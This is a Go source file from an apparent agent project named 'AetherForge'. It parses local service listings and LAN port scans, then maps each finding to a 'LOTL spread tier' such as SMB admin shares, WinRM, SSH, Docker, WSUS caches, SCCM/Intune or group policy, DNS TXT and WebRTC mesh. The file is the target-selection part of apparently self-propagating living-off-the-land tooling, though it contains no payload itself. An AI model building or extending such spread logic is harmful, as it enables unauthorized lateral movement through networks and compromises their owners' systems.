AetherForge/agent/deploy/service_graph.go

package deploy

import (
	"encoding/json"
	"strconv"
	"strings"
)

// ServiceGraphEntry is one discovered service or port signal on a host.
type ServiceGraphEntry struct {
	ServiceName       string `json:"service_name"`
	Port              int    `json:"port,omitempty"`
	Status            string `json:"status,omitempty"`
	JoinLaneCandidate string `json:"join_lane_candidate,omitempty"`
	Source            string `json:"source,omitempty"` // local_service, lan_port, smb_share, passive_hint
}

// ServiceGraphHost groups service findings for one host on a subnet.
type ServiceGraphHost struct {
	Host     string              `json:"host"`
	Subnet   string              `json:"subnet,omitempty"`
	Services []ServiceGraphEntry `json:"services"`
}

// ServiceDiscoverResult is the JSON payload returned by service_discover.
type ServiceDiscoverResult struct {
	ProbedAt     string             `json:"probed_at"`
	Local        ServiceGraphHost   `json:"local"`
	LANHosts     []ServiceGraphHost `json:"lan_hosts,omitempty"`
	PassiveHints []string           `json:"passive_hints,omitempty"`
}

// JoinLaneForSignal maps a discovered service name or open port to a LOTL spread tier id.
func JoinLaneForSignal(serviceName string, port int) string {
	name := strings.ToLower(strings.TrimSpace(serviceName))
	switch {
	case port == 445 || strings.Contains(name, "smb") || strings.Contains(name, "lanmanserver") || strings.Contains(name, "admin$"):
		return "smb"
	case port == 5985 || port == 5986 || strings.Contains(name, "winrm"):
		return "winrm"
	case port == 22 || strings.Contains(name, "ssh") || name == "sshd":
		return "linux"
	case port == 2375 || port == 2376 || strings.Contains(name, "docker"):
		return "docker"
	case strings.Contains(name, "wsl"):
		return "wsl"
	case strings.Contains(name, "powershell") || strings.Contains(name, "pwsh"):
		return "powershell"
	case strings.Contains(name, "dotnet"):
		return "dotnet"
	case strings.Contains(name, "dosvc") || strings.Contains(name, "delivery optimization"):
		return "do_peer"
	case strings.Contains(name, "wuauserv") || strings.Contains(name, "windows update") || strings.Contains(name, "wsus"):
		return "wsus_cache_peer"
	case strings.Contains(name, "_aether") || strings.Contains(name, "dns_txt"):
		return "dns_txt"
	case strings.Contains(name, "webrtc_mesh") || strings.Contains(name, "webrtc"):
		return "webrtc_mesh"
	case strings.Contains(name, "jenkins") || strings.Contains(name, "gitlab") || strings.Contains(name, "runner"):
		return "bits_curl"
	case strings.Contains(name, "ccmexec") || strings.Contains(name, "sms_agent") || strings.Contains(name, "sccm"):
		return "gpo"
	case strings.Contains(name, "intune") || strings.Contains(name, "gpo") || strings.Contains(name, "group policy"):
		return "gpo"
	default:
		return ""
	}
}

func entryWithLane(name string, port int, source string) ServiceGraphEntry {
	return ServiceGraphEntry{
		ServiceName:       name,
		Port:              port,
		JoinLaneCandidate: JoinLaneForSignal(name, port),
		Source:            source,
	}
}

// MergeServiceGraphHosts merges host graphs keyed by host IP; later entries dedupe by service+port.
func MergeServiceGraphHosts(base map[string]ServiceGraphHost, hosts ...ServiceGraphHost) map[string]ServiceGraphHost {
	if base == nil {
		base = make(map[string]ServiceGraphHost)
	}
	for _, h := range hosts {
		host := strings.TrimSpace(h.Host)
		if host == "" {
			continue
		}
		existing, ok := base[host]
		if !ok {
			dup := h
			dup.Services = dedupeEntries(h.Services)
			base[host] = dup
			continue
		}
		if existing.Subnet == "" && h.Subnet != "" {
			existing.Subnet = h.Subnet
		}
		existing.Services = dedupeEntries(append(existing.Services, h.Services...))
		base[host] = existing
	}
	return base
}

func dedupeEntries(in []ServiceGraphEntry) []ServiceGraphEntry {
	seen := make(map[string]bool, len(in))
	out := make([]ServiceGraphEntry, 0, len(in))
	for _, e := range in {
		key := strings.ToLower(e.ServiceName) + "|" + strconv.Itoa(e.Port) + "|" + e.Source
		if seen[key] {
			continue
		}
		seen[key] = true
		out = append(out, e)
	}
	return out
}

type windowsServiceRow struct {
	Name   string `json:"name"`
	Status string `json:"status"`
	Port   int    `json:"port"`
}

type windowsDiscoverPayload struct {
	Services []windowsServiceRow `json:"services"`
	Hints    []string            `json:"hints"`
}

func windowsRowsToEntries(rows []windowsServiceRow) []ServiceGraphEntry {
	var entries []ServiceGraphEntry
	for _, row := range rows {
		name := strings.TrimSpace(row.Name)
		if name == "" {
			continue
		}
		port := row.Port
		if strings.HasPrefix(strings.ToLower(name), "tcp/") && port == 0 {
			if p := strings.TrimPrefix(name, "tcp/"); p != name {
				if n, err := strconv.Atoi(strings.TrimSpace(p)); err == nil {
					port = n
				}
			}
		}
		entries = append(entries, ServiceGraphEntry{
			ServiceName:       name,
			Port:              port,
			Status:            strings.TrimSpace(row.Status),
			JoinLaneCandidate: JoinLaneForSignal(name, port),
			Source:            "local_service",
		})
	}
	return entries
}

// ParseSystemctlListUnitsFixture parses test fixture output from systemctl list-units.
func ParseSystemctlListUnitsFixture(raw string) []ServiceGraphEntry {
	var entries []ServiceGraphEntry
	for _, line := range strings.Split(raw, "\n") {
		line = strings.TrimSpace(line)
		if line == "" || strings.HasPrefix(line, "UNIT") {
			continue
		}
		fields := strings.Fields(line)
		if len(fields) < 3 {
			continue
		}
		unit := fields[0]
		state := fields[2]
		if state != "active" && state != "running" {
			continue
		}
		entries = append(entries, entryWithLane(unit, 0, "local_service"))
	}
	return entries
}

// ParseWindowsDiscoverFixture parses JSON fixture from the Windows discovery script.
func ParseWindowsDiscoverFixture(raw string) (entries []ServiceGraphEntry, hints []string) {
	raw = strings.TrimSpace(raw)
	var payload windowsDiscoverPayload
	if err := json.Unmarshal([]byte(raw), &payload); err != nil {
		return nil, nil
	}
	return windowsRowsToEntries(payload.Services), payload.Hints
}

// ParseServiceDiscoverJSON unmarshals agent command output into a result struct.
func ParseServiceDiscoverJSON(raw string) (ServiceDiscoverResult, error) {
	var result ServiceDiscoverResult
	raw = strings.TrimSpace(raw)
	if idx := strings.Index(raw, "{"); idx > 0 {
		raw = raw[idx:]
	}
	err := json.Unmarshal([]byte(raw), &result)
	return result, err
}